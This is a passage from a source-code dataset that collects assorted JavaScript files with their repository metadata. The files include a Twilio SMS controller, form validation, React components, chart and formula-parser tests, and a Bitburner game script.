1
2020-12-22T03:41:45.000Z
2020-12-22T03:41:45.000Z
functions/api/twilio/sms/controller.js
HrishikeshKarale/kkiokio
fa0b0b3abe85dede6e1e2bb3ff13d3f2dc13e2b1
[ "MIT" ]
2
2022-02-27T21:29:49.000Z
2022-02-27T23:08:21.000Z
functions/api/twilio/sms/controller.js
HrishikeshKarale/kkiokio
fa0b0b3abe85dede6e1e2bb3ff13d3f2dc13e2b1
[ "MIT" ]
null
null
null
/* eslint-disable @typescript-eslint/no-var-requires */ require("dotenv").config(); const accountSid = process.env.TWILIO_ACCOUNT_SID; const authToken = process.env.TWILIO_AUTH_TOKEN; const client = require('twilio')(accountSid, authToken); const MessagingResponse = require('twilio').twiml.MessagingResponse; const controller = (req, res) => { const twiml = new MessagingResponse(); twiml.message('The Robots are coming! Head for the hills!'); res.writeHead(200, { 'Content-Type': 'text/xml' }); res.end(twiml.toString()); }; module.exports = controller;
34.058824
69
0.71848
5e0d40545d7d3d40fc199ab583c40605adbd92d8
556
js
JavaScript
public/js/signup.js
damde/hw2
9d72c026f522b0ef2c54b4b2219488515bc4f1f2
[ "MIT" ]
null
null
null
public/js/signup.js
damde/hw2
9d72c026f522b0ef2c54b4b2219488515bc4f1f2
[ "MIT" ]
null
null
null
public/js/signup.js
damde/hw2
9d72c026f522b0ef2c54b4b2219488515bc4f1f2
[ "MIT" ]
null
null
null
function validateform(signup) { let username = signup.username.value; let password = signup.password.value; let email = signup.email.value; let ppasword = signup.ppassword.value; if (username.length < 4 || username.length > 32) { alert("username non valido"); return false; } else if (password.length < 8) { alert("La password deve essere almeno formata di 8 caratteri."); return false; } else if (password != ppasword) { alert("Le password non coincidono") return false; } }
32.705882
72
0.629496
5e0d7313009ab6906a9f75ace7c5efe322bc7c37
441
js
JavaScript
data/js/00/0d/47/00/00/00.24.js
hdm/mac-tracker
69f0c4efaa3d60111001d40f7a33886cc507e742
[ "CC-BY-4.0", "MIT" ]
20
2018-12-26T17:06:05.000Z
2021-08-05T07:47:31.000Z
data/js/00/0d/47/00/00/00.24.js
hdm/mac-tracker
69f0c4efaa3d60111001d40f7a33886cc507e742
[ "CC-BY-4.0", "MIT" ]
1
2021-06-03T12:20:55.000Z
2021-06-03T16:36:26.000Z
data/js/00/0d/47/00/00/00.24.js
hdm/mac-tracker
69f0c4efaa3d60111001d40f7a33886cc507e742
[ "CC-BY-4.0", "MIT" ]
8
2018-12-27T05:07:48.000Z
2021-01-26T00:41:17.000Z
macDetailCallback("000d47000000/24",[{"d":"2003-06-01","t":"add","a":"13F-3,No.142,Sec.1,Huamei W,St.,Shi Chiu\nTaichung 403\n\n","c":"TAIWAN, REPUBLIC OF CHINA","o":"Collex"},{"d":"2012-11-29","t":"change","a":"13F-3,No.142,Sec.1,Huamei W,St.,Shi Chiu\nTaichung 403\n\n","c":"TAIWAN, PROVINCE OF CHINA","o":"Collex"},{"d":"2015-08-27","t":"change","a":"13F-3,No.142,Sec.1,Huamei W,St.,Shi Chiu Taichung TW 403","c":"TW","o":"Collex"}]);
220.5
440
0.623583
5e0e4849424299f6e9e06cf97def22547d5c2ec6
827
js
JavaScript
github.js
CooperLuan/tmonkey-script
f95e37208a0a1d419fec926d81618d89116728aa
[ "MIT" ]
1
2020-04-24T15:27:10.000Z
2020-04-24T15:27:10.000Z
github.js
CooperLuan/tmonkey-script
f95e37208a0a1d419fec926d81618d89116728aa
[ "MIT" ]
null
null
null
github.js
CooperLuan/tmonkey-script
f95e37208a0a1d419fec926d81618d89116728aa
[ "MIT" ]
null
null
null
// ==UserScript== // @name Github Wiki Width Adjust // @version 0.1 // @match https://github.com/* // @copyright 2014 CooperLuan // @run-at document-end // ==/UserScript== $('.header .container').css('width', '90%'); $('.pagehead .container').css('width', '90%'); $($('.main-content .container')[1]).css('width', '90%'); $("#js-pjax-container .container").css('width', '90%'); function adjust_main() { if ($('.repository-with-sidebar').hasClass('with-full-navigation') === true) { $('#js-repo-pjax-container').css('width', '89%'); } else { $('#js-repo-pjax-container').css('width', '97%'); } $('.discussion-timeline').css('width', '89%'); $('.timeline-new-comment').css('max-width', '100%'); }; adjust_main(); $( document ).ajaxComplete(function() { adjust_main(); });
29.535714
82
0.571947
4625fcaf01fbe77817ab56d7e2017ff8125683ef
1,248
js
JavaScript
src/pages/projects.js
palasjir/blog
04400c570277b55523bbd06a2cc52f9267efad2c
[ "MIT" ]
null
null
null
src/pages/projects.js
palasjir/blog
04400c570277b55523bbd06a2cc52f9267efad2c
[ "MIT" ]
7
2018-07-01T09:03:51.000Z
2019-09-11T06:08:43.000Z
src/pages/projects.js
palasjir/blog
04400c570277b55523bbd06a2cc52f9267efad2c
[ "MIT" ]
null
null
null
import React from 'react' import Helmet from 'react-helmet' import PageSection from '../components/Page/PageSection' import SitePage from '../components/Site/SitePage' import { createTitle } from '../utils/utils' import PageSectionTitle from '../components/Page/PageSectionTitle' import ProjectsIcon from '../components/Icon/projects.svg' import SectionList from '../components/Section/SectionList' import projects from '../data/projects.yml' import SectionItemTitle from '../components/Section/SectionItemTitle' const pageTitle = 'Projects' const ProjectsList = ({ projects }) => projects ? ( <SectionList> {projects.map(project => ( <ProjectsListItem key={project.id} project={project} /> ))} </SectionList> ) : null const ProjectsListItem = ({ project }) => ( <SectionList.Item> <SectionItemTitle link={project.link}>{project.title}</SectionItemTitle> <p>{project.description}</p> </SectionList.Item> ) const ProjectsPage = () => ( <SitePage> <Helmet title={createTitle(pageTitle)} /> <PageSection icon={<ProjectsIcon />}> <PageSectionTitle>Side projects</PageSectionTitle> <ProjectsList projects={projects} /> </PageSection> </SitePage> ) export default ProjectsPage
30.439024
76
0.709135
4625fe63f40b031005db1690aea3450ba3cbef88
1,543
js
JavaScript
web/js/app.js
rikosage/blog
f2c4f40ca1c9999e1949bfbb975c06540ec41633
[ "BSD-3-Clause" ]
1
2021-04-29T11:17:09.000Z
2021-04-29T11:17:09.000Z
web/js/app.js
rikosage/blog
f2c4f40ca1c9999e1949bfbb975c06540ec41633
[ "BSD-3-Clause" ]
null
null
null
web/js/app.js
rikosage/blog
f2c4f40ca1c9999e1949bfbb975c06540ec41633
[ "BSD-3-Clause" ]
1
2016-07-27T20:27:31.000Z
2016-07-27T20:27:31.000Z
$(document).ready(function(){ $("#change-category").find("select").change(function(){ $("#change-category").submit(); }); $("#sub_category").change(function(){ $("#sub_id").val($("#sub_category").val()); }); $("#cat_id").val($("#category_id").val()); $("#sub_id").val($("#sub_category").val()); $(".change-article-button").click(function(){ $(this).hide("fast"); $(".article-content").hide("fast"); $(".comments").hide("fast"); $(".delete-article-button").hide("fast"); $(".article-change-content").show("fast"); $(".cancel-button").show("fast"); }); $(".cancel-button").click(function(){ document.location.reload(); }); $('.delete-article-button').click(function(){ if(confirm("Вы уверены? Операция необратима. Все комментарии и данные будут утрачены!")) return true; else return false; }); $('.screen-lock').click(function(){ $(this).hide("fast"); $('.subscribe-container').hide("fast"); }); $('#subscribe-link').click(function(){ $(".screen-lock").show("fast"); $(".subscribe-container").show("fast"); $(".subscribe-container").find("#subscribe-form").show(); $(".subscribe-container").find("#unsubscribe-form").hide(); return false; }); $('#unsubscribe-link').click(function(){ $(".screen-lock").show("fast"); $(".subscribe-container").show("fast"); $(".subscribe-container").find("#subscribe-form").hide(); $(".subscribe-container").find("#unsubscribe-form").show(); return false; }); });
28.054545
92
0.578095
46262e6b0b87baf7fabc51656755d3a486d77f86
1,026
js
JavaScript
Any/nuke/break.js
alexlee-dev/Bitburner-Community
8d147729054f269950e5ad506e6fd8db9c3e46ca
[ "Unlicense" ]
13
2018-11-28T00:57:59.000Z
2022-03-01T04:39:23.000Z
Any/nuke/break.js
alexlee-dev/Bitburner-Community
8d147729054f269950e5ad506e6fd8db9c3e46ca
[ "Unlicense" ]
2
2022-02-15T05:01:22.000Z
2022-02-28T01:42:09.000Z
Any/nuke/break.js
alexlee-dev/Bitburner-Community
8d147729054f269950e5ad506e6fd8db9c3e46ca
[ "Unlicense" ]
8
2019-04-17T08:54:19.000Z
2022-03-20T08:23:26.000Z
/* POSTED BY: u/MercuriusXeno (https://www.reddit.com/user/MercuriusXeno) POSTED ON: July 10th, 2017 COMMENT CONTEXT: "Purpose: Runs nuke on all servers connected to the initial target. Nuke subsequently runs break on those targets. This is how the nuke-daemon-cascade works. Usage: You don't. Just use start. It does all this automatically, and trying to run it manually is a waste of your time." REDDIT POST: https://www.reddit.com/r/Bitburner/comments/6mf6zy/v0241_progression_scripts_update/ */ scanHost = args[0]; previousHost = args[1]; minimumHackLevel = args[2]; hackLimit = args[3]; hosts = scan(scanHost); if (hosts.length > 0) { for (j = 0; j < hosts.length; j = j + 1) { nextHost = hosts[j]; if (nextHost != previousHost) { while (isRunning('nuke.script', getHostname(), nextHost, scanHost, minimumHackLevel, hackLimit) == false) { run('nuke.script', 1, nextHost, scanHost, minimumHackLevel, hackLimit); } } } }
31.090909
157
0.662768
4626400a2813acaeb1025a03f8dca388875700d1
2,944
js
JavaScript
backend/models/resources.spec.js
angusyg/pfs
7c915763d74a14cab6ec4e7158248d1a06c1d4bb
[ "MIT" ]
null
null
null
backend/models/resources.spec.js
angusyg/pfs
7c915763d74a14cab6ec4e7158248d1a06c1d4bb
[ "MIT" ]
1
2018-06-09T18:42:47.000Z
2018-06-09T18:56:43.000Z
backend/models/resources.spec.js
angusyg/nean-stack
d05de6233a0e8b6fb931db2606437c10d3261757
[ "MIT" ]
1
2020-01-23T06:22:14.000Z
2020-01-23T06:22:14.000Z
const chai = require('chai'); const Resource = require('./resources'); const expect = chai.expect; describe('Module models/resources', () => { it('should export Resource', (done) => { expect(Resource).to.be.a('function'); done(); }); describe('Unit tests', () => { const Document = class Document { constructor() {} }; it('constructor(name: empty|null, document: Document, config: Object): should throw a TypeError on name not found', (done) => { try { new Resource(null, Document, {}); } catch (err) { expect(err).to.be.instanceof(TypeError); expect(err).to.have.own.property('message', 'No Resource name found'); done(); } }); it('constructor(name: string, document: null, config: Object): should throw a TypeError on document not found', (done) => { try { new Resource('name', null, {}); } catch (err) { expect(err).to.be.instanceof(TypeError); expect(err).to.have.own.property('message', 'No document associated to the new Resource'); done(); } }); it('constructor(name: string, document: string, config: Object): should throw a TypeError on document not a function', (done) => { try { new Resource('name', 'document', {}); } catch (err) { expect(err).to.be.instanceof(TypeError); expect(err).to.have.own.property('message', 'Resource document must be a function'); done(); } }); it('constructor(name: string, document: Document, config: Object): should creates a new Resource', (done) => { const resource = new Resource('name', Document, {}); expect(resource).to.be.instanceof(Resource); expect(resource).to.have.own.property('name', 'name'); expect(resource).to.have.own.property('document', Document); expect(resource).to.have.own.property('config').to.be.deep.equal({}); expect(resource).to.have.own.property('router'); expect(resource.router.stack).to.have.lengthOf(5); expect(resource.router.stack[0].route).to.have.own.property('path', '/'); expect(resource.router.stack[0].route.stack[0]).to.have.own.property('method', 'get'); expect(resource.router.stack[1].route).to.have.own.property('path', '/:id'); expect(resource.router.stack[1].route.stack[0]).to.have.own.property('method', 'get'); expect(resource.router.stack[2].route).to.have.own.property('path', '/'); expect(resource.router.stack[2].route.stack[0]).to.have.own.property('method', 'post'); expect(resource.router.stack[3].route).to.have.own.property('path', '/:id'); expect(resource.router.stack[3].route.stack[0]).to.have.own.property('method', 'put'); expect(resource.router.stack[4].route).to.have.own.property('path', '/:id'); expect(resource.router.stack[4].route.stack[0]).to.have.own.property('method', 'delete'); done(); }); }); });
42.666667
134
0.622962
4626896f2bce78899f0e5ae7c6d7bf78658bff51
3,390
js
JavaScript
util/games/country-flags.js
keibot2/Kei
b73af5321b44677eeea208242c749d7422afd317
[ "MIT" ]
26
2021-01-31T03:27:10.000Z
2021-07-22T07:58:20.000Z
util/games/country-flags.js
keibot2/Kei
b73af5321b44677eeea208242c749d7422afd317
[ "MIT" ]
1
2021-02-11T14:42:42.000Z
2021-02-13T20:25:23.000Z
util/games/country-flags.js
keibot2/Kei
b73af5321b44677eeea208242c749d7422afd317
[ "MIT" ]
12
2021-02-11T11:28:04.000Z
2022-01-04T04:10:31.000Z
const flags = Object.entries(require(`${process.cwd()}/assets/json/flags`)); module.exports = async (options) => { const { client, message, title, args, doc } = options; let hasNotEnded = true, attempts = 0, basecredits = 200; await message.channel.send([ 'Guess the succeeding country by its flag in under 30 seconds:', '- First question grants you 300 credits', '- Answering succeeding flags earns 100 credits', '- You only have 1 attempt per question', '- Game begins in 5 seconds...' ].join('\n')) await new Promise(resolve => setTimeout(() => { resolve()}, 5000)); const execute = async () => { let [code, country] = flags[Math.floor(Math.random() * flags.length)]; country = country.split(',')[0]; const attachment = `https://raw.githubusercontent.com/Keisans-Keid/country-flags/master/png250px/${code.toLowerCase()}.png`; const name = 'country-flag.png'; const files = [ { attachment, name }]; const prompt = `**${message.author.tag}**, guess the country by this flag under 30 seconds:` await message.channel.send(prompt, { files }); const filter = _message => message.author.id === _message.author.id; const options = { max: 1, time: 15000, errors: ['time'] }; const response = await message.channel.awaitMessages(filter, options) .then(collected => { const content = collected.first().content; if (content.toLowerCase() === country.toLowerCase()){ attempts++; basecredits += 100; return {}; } else { hasNotEnded = false; return { err: 'INCORRECT_ANS' }; }; }) .catch(() => { hasNotEnded = false; return { err: 'TIMEOUT' }; }); if (response.err){ const reason = { INCORRECT_ANS: `Wrong country! The correct answer was **${country}**`, TIMEOUT: `You ran out of time! The correct answer was **${country}**` }; return message.channel.send(`\\❌ **${message.author.tag}**, ${reason[response.err]}`); }; await message.channel.send(`\\✔️ **${message.author.tag}**, Correct country! Added 100 credits!`); return Promise.resolve(); }; do { await execute(); } while (hasNotEnded); let win = basecredits > 200, overflow = false, excess = null;; if (doc.data.economy.wallet + basecredits > 50000){ overflow = true; excess = doc.data.economy.wallet + basecredits - 50000 doc.data.economy.wallet = 50000; } else { doc.data.economy.wallet += basecredits; }; return doc.save() .then(() => { if (!win){ return message.channel.send([ `\\❌ **${message.author.tag}**, you lost on your first attempt.`, 'You received 200 credits for trying!', overflow ? `\n⚠️Overflow warning! Please deposit some of your account to your **bank**. You only received ${basecredits-excess} for this one!` :'', ].join('\n')); } else { return message.channel.send([ `\\✔️ **${message.author.tag}**, Congratulations!`, `You received **${basecredits}** for answering ${attempts} flag(s)!`, overflow ? `\n⚠️Overflow warning! Please deposit some of your account to your **bank**. You only received ${basecredits-excess} for this one!` :'', ].join('\n')); } }) .catch(() => message.channel.send(`\`❌ [DATABASE_ERR]:\` Unable to save the document to the database, please try again later!`)); };
35.684211
155
0.617404
46269b9f91e4ce02ead93164e58a85353981d62d
1,726
js
JavaScript
test/formulas/reference/reference.js
microshadow/fast-formula-parser
36ca8ce6dff6556c88adf7ab65bedb3bb5fedc5a
[ "MIT" ]
null
null
null
test/formulas/reference/reference.js
microshadow/fast-formula-parser
36ca8ce6dff6556c88adf7ab65bedb3bb5fedc5a
[ "MIT" ]
null
null
null
test/formulas/reference/reference.js
microshadow/fast-formula-parser
36ca8ce6dff6556c88adf7ab65bedb3bb5fedc5a
[ "MIT" ]
null
null
null
const chai = require('chai'); const expect = require('chai').expect; const {FormulaParser} = require('../../../grammar/hooks'); const TestCase = require('./testcase'); const data = [ ['fruit', 'price', 'count', 4, 5], ['Apples', 0.69, 40, 5, 6], ['Bananas', 0.34, 38, 5, 6], ['Lemons', 0.55, 15, 5, 6], ['Oranges', 0.25, 25, 5, 6], ['Pears', 0.59, 40, 5, 6], ['Almonds', 2.80, 10, 5, 6], // row 7 ['Cashews', 3.55, 16, 5, 6], // row 8 ['Peanuts', 1.25, 20, 5, 6], // row 9 ['Walnuts', 1.75, 12, 5, 6], // row 10 ['Apples', 'Lemons',0, 0, 0], // row 11 ['Bananas', 'Pears', 0, 0, 0], // row 12 ]; const parser = new FormulaParser({ onCell: ref => { return data[ref.row - 1][ref.col - 1]; }, onRange: ref => { const arr = []; for (let row = ref.from.row - 1; row < ref.to.row; row++) { const innerArr = []; for (let col = ref.from.col - 1; col < ref.to.col; col++) { innerArr.push(data[row][col]) } arr.push(innerArr); } return arr; } }); describe('Lookup and Reference Functions', function () { const funs = Object.keys(TestCase); funs.forEach(fun => { it(fun, () => { const formulas = Object.keys(TestCase[fun]); formulas.forEach(formula => { const expected = TestCase[fun][formula]; let result = parser.parse(formula, {row: 1, col: 1}); if (result.result) result = result.result; // console.log(`Testing ${formula}`); expect(result, `${formula} should equal ${expected}\n`).to.equal(expected); }) }); }); });
31.962963
91
0.488992
462765c20f15dd05e87df9f54c7111dcf2be71ce
1,648
js
JavaScript
lib/utils/combineTokenBalanceAndPriceData.js
isabella232/pooltogether-info-ui
456d4f2239ff66c14b521521309a235340f39313
[ "MIT" ]
null
null
null
lib/utils/combineTokenBalanceAndPriceData.js
isabella232/pooltogether-info-ui
456d4f2239ff66c14b521521309a235340f39313
[ "MIT" ]
null
null
null
lib/utils/combineTokenBalanceAndPriceData.js
isabella232/pooltogether-info-ui
456d4f2239ff66c14b521521309a235340f39313
[ "MIT" ]
null
null
null
import { formatUnits } from '@ethersproject/units' import { amountMultByUsd, toScaledUsdBigNumber } from '@pooltogether/utilities' import { TOKEN_PRICE_ALIASES } from 'lib/hooks/useTokenLists' export const combineTokenBalanceAndPriceData = (tokenBalances, tokenPrices) => { let data = {} if (tokenBalances) { Object.keys(tokenBalances).forEach((chainId) => { const tokens = tokenBalances[chainId] || [] tokens.forEach((token) => { if (!data[chainId]) { data[chainId] = [] } const tokenAddress = token.address.toLowerCase() const tokenPriceData = getTokenPriceData(chainId, tokenAddress, tokenPrices) const usd = tokenPriceData.usd if (!usd) { data[chainId].push({ ...token, chainId: Number(chainId) }) } else { const usdValueUnformatted = amountMultByUsd(token.amountUnformatted, usd) const totalValueUsd = formatUnits(usdValueUnformatted, token.decimals) const totalValueUsdScaled = toScaledUsdBigNumber(totalValueUsd) data[chainId].push({ ...token, chainId: Number(chainId), usd, totalValueUsd, totalValueUsdScaled }) } }) }) } return data } const getTokenPriceData = (chainId, tokenAddress, tokenPrices) => { const alias = TOKEN_PRICE_ALIASES?.[chainId]?.[tokenAddress] if (alias) { const aliasTokenPrice = tokenPrices.data[alias.chainId]?.[alias.address] return aliasTokenPrice || {} } else { return tokenPrices.data[chainId]?.[tokenAddress] || {} } }
28.912281
84
0.625607
4627b6ced3bd5dd676eb8cbd3f23e95ae5f26683
3,179
js
JavaScript
test/fixtures/line/shadowArrowHeads.js
matthewhegarty/chartjs-plugin-annotation
6f506c4599b08f9c714ba035c6dfd9dd7924a14a
[ "MIT" ]
null
null
null
test/fixtures/line/shadowArrowHeads.js
matthewhegarty/chartjs-plugin-annotation
6f506c4599b08f9c714ba035c6dfd9dd7924a14a
[ "MIT" ]
null
null
null
test/fixtures/line/shadowArrowHeads.js
matthewhegarty/chartjs-plugin-annotation
6f506c4599b08f9c714ba035c6dfd9dd7924a14a
[ "MIT" ]
null
null
null
module.exports = { config: { type: 'line', options: { scales: { x: {type: 'linear', min: 0, max: 10}, y: {type: 'linear', min: 0, max: 10} }, plugins: { legend: false, annotation: { annotations: [ { type: 'line', xMin: 1, xMax: 8, yMin: 8, yMax: 8, borderColor: 'blue', borderWidth: 4, borderShadowColor: 'black', shadowBlur: 12, arrowHeads: { start: { enabled: true, borderColor: 'blue', borderShadowColor: 'black', shadowBlur: 12, length: 30, width: 15 }, end: { enabled: true, borderColor: 'blue', borderShadowColor: 'black', shadowBlur: 12, length: 30, width: 15 } } }, { type: 'line', xMin: 1, xMax: 8, yMin: 5, yMax: 5, borderColor: 'purple', borderWidth: 4, borderShadowColor: 'black', shadowBlur: 12, shadowOffsetX: 10, arrowHeads: { start: { enabled: true, borderColor: 'purple', borderShadowColor: 'black', shadowBlur: 12, shadowOffsetX: 10, length: 30, width: 15 }, end: { enabled: true, borderColor: 'purple', borderShadowColor: 'black', shadowBlur: 12, shadowOffsetX: 10, length: 30, width: 15 } } }, { type: 'line', xMin: 1, xMax: 8, yMin: 2, yMax: 2, borderColor: 'red', borderWidth: 4, borderShadowColor: 'black', shadowBlur: 12, shadowOffsetX: 10, shadowOffsetY: 10, arrowHeads: { start: { enabled: true, borderColor: 'red', borderShadowColor: 'black', shadowBlur: 12, shadowOffsetX: 10, shadowOffsetY: 10, length: 30, width: 15 }, end: { enabled: true, borderColor: 'red', borderShadowColor: 'black', shadowBlur: 12, shadowOffsetX: 10, shadowOffsetY: 10, length: 30, width: 15 } } } ] } }, } }, options: { spriteText: true, } };
26.940678
45
0.329978
4627d08c3a87e20046ad60fccde7451b449dd2ec
12,893
js
JavaScript
src/components/Statement/Statement.js
g-old/g-old
9470aa98e75882048239db5c5612506adc894f61
[ "MIT" ]
null
null
null
src/components/Statement/Statement.js
g-old/g-old
9470aa98e75882048239db5c5612506adc894f61
[ "MIT" ]
1
2020-08-11T17:23:42.000Z
2020-08-11T17:23:42.000Z
src/components/Statement/Statement.js
g-old/g-old
9470aa98e75882048239db5c5612506adc894f61
[ "MIT" ]
null
null
null
/* eslint-disable no-shadow */ import React from 'react'; import PropTypes from 'prop-types'; import withStyles from 'isomorphic-style-loader/withStyles'; import { defineMessages, FormattedMessage, injectIntl, intlShape, } from 'react-intl'; import Textarea from 'react-textarea-autosize'; // TODO replace with contenteditable import cn from 'classnames'; import s from './Statement.css'; import Notification from '../Notification'; import { Permissions } from '../../organization'; import EditMenu from './EditMenu'; import Avatar from '../Avatar'; import Button from '../Button'; const messages = defineMessages({ flag: { id: 'statements.flag', defaultMessage: 'flag', description: 'Menu entry on statements to flag statement', }, follow: { id: 'statements.follow', defaultMessage: 'follow', description: 'Menu entry on statements to follow author', }, delete: { id: 'statements.delete', defaultMessage: 'delete', description: 'Menu entry on statements to delete statement', }, expand: { id: 'statements.expand', defaultMessage: 'Read more', description: 'Btn to expand statements', }, collapse: { id: 'statements.collapse', defaultMessage: 'Show less', description: 'Btn to collapse statements', }, add: { id: 'statements.add', defaultMessage: 'Add a statement', description: 'Cta to insert statement', }, }); class Statement extends React.Component { static propTypes = { id: PropTypes.string.isRequired, vote: PropTypes.shape({ positions: PropTypes.arrayOf( PropTypes.shape({ pos: PropTypes.number, value: PropTypes.string }), ), id: PropTypes.string.isRequired, }).isRequired, pollId: PropTypes.string.isRequired, pollClosed: PropTypes.bool, text: PropTypes.string.isRequired, likes: PropTypes.number.isRequired, author: PropTypes.shape({ name: PropTypes.string, surname: PropTypes.string, thumbnail: PropTypes.string, id: PropTypes.string, }).isRequired, deletedAt: PropTypes.string, followees: PropTypes.arrayOf(PropTypes.shape({})), ownLike: PropTypes.shape({ id: PropTypes.string }), ownStatement: PropTypes.bool, user: PropTypes.shape({ id: PropTypes.string, permissions: PropTypes.number, role: PropTypes.shape({ type: PropTypes.string, }), }), isFollowee: PropTypes.bool, asInput: PropTypes.bool, onFlagging: PropTypes.func, onModeration: PropTypes.func, onDelete: PropTypes.func, onUpdate: PropTypes.func, onCreate: PropTypes.func, onFollow: PropTypes.func, onLike: PropTypes.func, onDeleteLike: PropTypes.func, updates: PropTypes.shape({ updateStmt: PropTypes.shape({ pending: PropTypes.bool }), success: PropTypes.bool, errorMessage: PropTypes.string, pending: PropTypes.bool, statement: PropTypes.shape({ text: PropTypes.string, delete: PropTypes.bool, }), }), onProfileClick: PropTypes.func, neutral: PropTypes.bool, createdAt: PropTypes.string, intl: intlShape.isRequired, }; static defaultProps = { ownLike: null, ownStatement: false, asInput: false, deletedAt: null, onFlagging: null, onDelete: null, onUpdate: null, onCreate: null, onFollow: null, onModeration: null, onLike: null, onDeleteLike: null, isFollowee: false, user: null, followees: null, updates: null, onProfileClick: null, pollClosed: null, neutral: false, createdAt: null, }; constructor(props) { super(props); this.state = { textArea: { val: props.text || '' }, edit: props.asInput === true, pending: false, collapsed: false, }; this.onDeleteStatement = this.onDeleteStatement.bind(this); this.onEditStatement = this.onEditStatement.bind(this); this.onTextChange = this.onTextChange.bind(this); this.onTextSubmit = this.onTextSubmit.bind(this); this.onEndEditing = this.onEndEditing.bind(this); this.handleFlag = this.handleFlag.bind(this); this.handleFollowing = this.handleFollowing.bind(this); this.handleLiking = this.handleLiking.bind(this); this.handleProfileClick = this.handleProfileClick.bind(this); this.toggleFullText = this.toggleFullText.bind(this); } componentDidMount() { const { edit } = this.state; if (!edit) { // 3 * 1.3 em lineheight if (this.textBox && this.textBox.clientHeight > 5 * 16) { // eslint-disable-next-line react/no-did-mount-set-state this.setState({ contentOverflows: true, collapsed: true }); } } } componentWillReceiveProps({ updates }) { if (updates) { const { pending } = this.state; if (updates.success) { this.onEndEditing(); } if (updates.pending !== pending) { this.setState({ pending: updates.pending }); } if (updates.errorMessage) { this.setState({ textArea: { val: updates.statement.text || '' } }); } } } onDeleteStatement() { const { id, author, pollId, user, onDelete, onModeration } = this.props; // eslint-disable-next-line eqeqeq if (user.id == author.id) { onDelete({ pollId, id, }); } else { // TODO authorize onModeration({ statementId: id, action: 'delete', }); } } onEditStatement() { const { text } = this.props; this.setState({ textArea: { val: text }, edit: true }); } onTextChange(e) { this.setState({ textArea: { val: e.target.value } }); } onTextSubmit(e) { const { pollId, vote, text, onUpdate, id, onCreate } = this.props; const { textArea } = this.state; const textContent = textArea.val.trim(); if (textContent && textContent !== text) { // TODO validation if (text) { // update; onUpdate({ id, text: textContent }); } else { onCreate({ pollId, text: textContent, voteId: vote.id }); } } else { // nothing changed this.onEndEditing(); } e.preventDefault(); } onEndEditing() { const { asInput, text } = this.props; this.setState(prevState => ({ textArea: { ...prevState.textArea, val: asInput ? '' : text }, edit: asInput === true, })); } handleFlag() { const { id, text, onFlagging } = this.props; onFlagging({ statementId: id, content: text, }); } handleFollowing() { const { user, author, pollId, vote, onFollow } = this.props; onFollow({ id: user.id, followee: author.id, info: { pollId, voteId: vote.id, }, }); } handleLiking(e) { const { onLike, onDeleteLike, id, pollId, ownLike } = this.props; if (ownLike) { onDeleteLike({ statementId: id, likeId: ownLike.id, pollId, }); } else { onLike({ statementId: id, pollId, }); } e.preventDefault(); } handleProfileClick() { const { onProfileClick, author } = this.props; if (onProfileClick) { onProfileClick({ id: author.id }); } } toggleFullText(e) { if (e) { e.preventDefault(); e.stopPropagation(); } this.setState(prevState => ({ collapsed: !prevState.collapsed })); } render() { // const { mutationIsPending, mutationSuccess, mutationError } = this.props; // TODO create authorization decorator const { ownStatement, vote, text, likes, author, asInput, user, followees, isFollowee, deletedAt, updates, pollClosed, ownLike, neutral, createdAt, intl, } = this.props; const { textArea, edit, pending, collapsed, contentOverflows } = this.state; let canLike; let canDelete; let canFollow; let canFlag; /* eslint-disable no-bitwise */ if (user) { canLike = !asInput && !ownStatement && (user.permissions & Permissions.LIKE) > 0; canDelete = !deletedAt && (user.permissions & Permissions.DELETE_STATEMENTS) > 0; canFlag = !ownStatement && !deletedAt && (user.permissions & Permissions.FLAG_STATEMENTS) > 0; if (followees) { canFollow = !isFollowee && followees.length < 5; } } /* eslint-enable no-bitwise */ const isEmpty = textArea.val.length === 0; const hasMinimumInput = textArea.val.length >= 5; const inactive = asInput && isEmpty; if (updates && updates.errorMessage) { return ( <Notification type="error" message={updates.errorMessage} action={ <Button primary label="Resend" onClick={ updates.statement.delete ? this.onDeleteStatement : this.onTextSubmit } /> } /> ); } const textBox = []; if (edit) { textBox.push( <Textarea key="0" useCacheForDOMMeasurements placeholder={`${intl.formatMessage({ ...messages.add })} ...`} value={textArea.val} onChange={this.onTextChange} className={s.textEdit} minRows={1} disabled={pending} />, ); } else { textBox.push( <div key="1" className={collapsed ? s.collapsed : s.expanded}> {text} </div>, ); if (contentOverflows) { textBox.push( <button type="button" key="2" onClick={this.toggleFullText} className={s.contentToggle} > <FormattedMessage {...messages[collapsed ? 'expand' : 'collapse']} /> </button>, ); } } let statementPosition; if (!neutral) { statementPosition = vote && vote.positions[0].pos === 0 && vote.positions[0].value ? s.pro : s.contra; } let altMenu; if (ownStatement || asInput) { altMenu = ( <div className={s.menu}> <EditMenu onTextSubmit={this.onTextSubmit} onEndEditing={this.onEndEditing} onEdit={this.onEditStatement} onDelete={this.onDeleteStatement} isEditing={edit} disabled={deletedAt || pollClosed} enableSubmit={hasMinimumInput} /> </div> ); } else { altMenu = ( <div className={s.menu}> {canFollow && ( <button type="button" onClick={this.handleFollowing}> <FormattedMessage {...messages.follow} /> </button> )} {canFlag && ( <button type="button" onClick={this.handleFlag}> <FormattedMessage {...messages.flag} /> </button> )} {canDelete && ( <button type="button" onClick={this.onDeleteStatement}> <FormattedMessage {...messages.delete} /> </button> )} </div> ); } return ( <div className={cn(s.rootAlt, statementPosition, inactive && s.inactive)}> {/* eslint-disable jsx-a11y/interactive-supports-focus */} { <div className={ s.avatarSlot // eslint-disable-next-line } > <Avatar className={s.avatar} user={author} onClick={this.handleProfileClick} /> <button type="button" onClick={canLike && this.handleLiking} className={cn( s.likes, ownLike && s.liked, canLike && s.clickable, )} > {`+${likes || ''}`} </button> </div> } {/* eslint-enable jsx-a11y/interactive-supports-focus */} <div style={{ width: '100%' }}> {!inactive && ( <div className={s.header}> <div className={s.details}> <span className={s.author}> {author && author.name} {author && author.surname} </span> <span className={s.date}> {createdAt && intl.formatRelative(createdAt)} </span> </div> </div> )} {/* eslint-disable no-return-assign */} <div className={s.text} ref={ref => (this.textBox = ref)}> {textBox} {!inactive && altMenu} </div> {/* eslint-enable no-return-assign */} </div> </div> ); } } export default withStyles(s)(injectIntl(Statement));
26.366053
84
0.558365
46284fe2a2c9ab9e03d3f6c1f4dcd2d838e35947
8,018
js
JavaScript
src/routes/about/routes.js
right-track/right-track-server
082647af8c98a21e5a39768dbe8a23852414afbd
[ "MIT" ]
2
2020-01-24T03:34:56.000Z
2021-11-25T01:56:38.000Z
src/routes/about/routes.js
right-track/right-track-server
082647af8c98a21e5a39768dbe8a23852414afbd
[ "MIT" ]
20
2019-06-08T02:54:00.000Z
